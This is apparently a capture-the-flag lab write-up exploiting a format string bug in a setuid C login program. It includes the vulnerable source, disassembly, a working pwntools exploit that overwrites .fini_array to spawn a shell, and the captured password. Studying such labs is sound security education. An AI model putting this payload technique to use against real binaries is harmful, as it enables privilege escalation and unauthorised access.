For this lab, we are given a program and its corresponding source code:
/*
* Format String Lab - C Problem
* gcc -z execstack -z norelro -fno-stack-protector -o lab4C lab4C.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PASS_LEN 30
int main(int argc, char *argv[])
{
char username[100] = {0};
char real_pass[PASS_LEN] = {0};
char in_pass[100] = {0};
FILE *pass_file = NULL;
int rsize = 0;
/* open the password file */
pass_file = fopen("/home/lab4B/.pass", "r");
if (pass_file == NULL) {
fprintf(stderr, "ERROR: failed to open password file\n");
exit(EXIT_FAILURE);
}
/* read the contents of the password file */
rsize = fread(real_pass, 1, PASS_LEN, pass_file);
real_pass[strcspn(real_pass, "\n")] = '\0'; // strip \n
if (rsize != PASS_LEN) {
fprintf(stderr, "ERROR: failed to read password file\n");
exit(EXIT_FAILURE);
}
/* close the password file */
fclose(pass_file);
puts("===== [ Secure Access System v1.0 ] =====");
puts("-----------------------------------------");
puts("- You must login to access this system. -");
puts("-----------------------------------------");
/* read username securely */
printf("--[ Username: ");
fgets(username, 100, stdin);
username[strcspn(username, "\n")] = '\0'; // strip \n
/* read input password securely */
printf("--[ Password: ");
fgets(in_pass, sizeof(in_pass), stdin);
in_pass[strcspn(in_pass, "\n")] = '\0'; // strip \n
puts("-----------------------------------------");
/* log the user in if the password is correct */
if(!strncmp(real_pass, in_pass, PASS_LEN)){
printf("Greetings, %s!\n", username);
system("/bin/sh");
} else {
printf(username);
printf(" does not have access!\n");
exit(EXIT_FAILURE);
}
return EXIT_SUCCESS;
}
The source code comment reveals that it is compiled with RELRO completely disabled. checksec
confirms this.
lab4C@warzone:/levels/lab04$ gdb -q ./lab4C
Reading symbols from ./lab4C...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : disabled
In addition, we see that there is a format string vulnerability that is triggered in the second to last printf()
call:
printf(username);
This format string vulnerability should give us an arbitrary write-what-where primitive.
Because RELRO is fully is disabled, we are able to overwrite a .fini_array
entry. For the uninitiated, the .fini_array
is the new replacement for the old .dtors
section and is just an array of pointers to destructors that are called just before the main()
function exits or returns.
All binaries that are compiled with GCC contain either a .fini_array
or a .dtors
section.
We can see that the .fini_array
section in our binary contains only 1 entry.
lab4C@warzone:/levels/lab04$ objdump -s -j .fini_array ./lab4C
./lab4C: file format elf32-i386
Contents of section .fini_array:
8049de4 e0870408 ....
In addition, if we look at the disassembly of main()
we can see a good target to redirect our flow of execution to:
0x08048acb <+670>: call 0x8048720 <strncmp@plt>
0x08048ad0 <+675>: test eax,eax
0x08048ad2 <+677>: jne 0x8048af9 <main+716>
0x08048ad4 <+679>: lea eax,[esp+0x94]
0x08048adb <+686>: mov DWORD PTR [esp+0x4],eax
0x08048adf <+690>: mov DWORD PTR [esp],0x8048cc4
0x08048ae6 <+697>: call 0x8048660 <printf@plt>
0x08048aeb <+702>: mov DWORD PTR [esp],0x8048cd4
0x08048af2 <+709>: call 0x80486d0 <system@plt>
To summarize, we will use the format string vulnerability to overwrite the .fini_array
entry to direct execution to the 0x08048ad4
basic block which will eventually call system("/bin/sh")
, giving us a shell.
The following script achieves this.
Solution
#!/usr/bin/env python
from pwn import *
import sys
'''
python -c 'print "AAAA"+".%08x"*3+".%35508x%hn"+"\n"+"BB"+"\xe4\x9d\x04\x08"+"\n"' | ./lab4C
'''
def exploit(r):
username = "AAAA"+".%08x"*3+".%35508x%hn"+"\n"
password = "BB"+"\xe4\x9d\x04\x08"+"\n"
print r.recv(1024)
r.send(username)
r.send(password)
r.interactive()
if __name__ == "__main__":
log.info("For remote: %s HOST PORT" % sys.argv[0])
if len(sys.argv) > 1:
r = remote(sys.argv[1], int(sys.argv[2]))
exploit(r)
else:
r = process(['/levels/lab04/lab4C'])
print util.proc.pidof(r)
pause()
exploit(r)
42420000 does not have access!
Greetings, !
lab4A lab4A.c lab4B lab4B.c lab4C lab4C.c
$ cat /home/lab4B/.pass
bu7_1t_w4sn7_brUt3_f0rc34b1e!
Addendum
As a side note, one obstacle I did have to overcome was being able to debug this suid binary in GDB.
When suid binaries run in GDB, they do so without their elevated permissions.
Therefore, lab4C
wasn’t able to open the /home/lab4B/.pass
file while being debugged, causing the program to terminate prematurely.
To bypass this issue, I created a fake password file, /tmp/lab4c/hellow
, set a breakpoint at the fopen()
call, ran the program until it hit the breakpoint, and patched the value of the string.
gdb-peda$ b *main+230
Breakpoint 1 at 0x8048913
gdb-peda$ r
Starting program: /levels/lab04/lab4C
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0x0
EDX: 0xbffff656 --> 0x0
ESI: 0x1c
EDI: 0xbffff654 --> 0x0
EBP: 0xbffff6f8 --> 0x0
ESP: 0xbffff5e0 --> 0x8048bc2 ("/home/lab4B/.pass")
EIP: 0x8048913 (<main+230>: call 0x8048710 <fopen@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80488f9 <main+204>: mov DWORD PTR [esp+0xf8],0x0
0x8048904 <main+215>: mov DWORD PTR [esp+0x4],0x8048bc0
0x804890c <main+223>: mov DWORD PTR [esp],0x8048bc2
=> 0x8048913 <main+230>: call 0x8048710 <fopen@plt>
0x8048918 <main+235>: mov DWORD PTR [esp+0xfc],eax
0x804891f <main+242>: cmp DWORD PTR [esp+0xfc],0x0
0x8048927 <main+250>: jne 0x804895a <main+301>
0x8048929 <main+252>: mov eax,ds:0x8049f20
Guessed arguments:
arg[0]: 0x8048bc2 ("/home/lab4B/.pass")
arg[1]: 0x8048bc0 --> 0x682f0072 ('r')
[------------------------------------stack-------------------------------------]
0000| 0xbffff5e0 --> 0x8048bc2 ("/home/lab4B/.pass")
0004| 0xbffff5e4 --> 0x8048bc0 --> 0x682f0072 ('r')
0008| 0xbffff5e8 --> 0x0
0012| 0xbffff5ec --> 0x0
0016| 0xbffff5f0 --> 0x0
0020| 0xbffff5f4 --> 0x0
0024| 0xbffff5f8 --> 0x0
0028| 0xbffff5fc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048913 in main ()
gdb-peda$ patch 0x8048bc2 "/tmp/lab4c/hellow"
Written 17 bytes to 0x8048bc2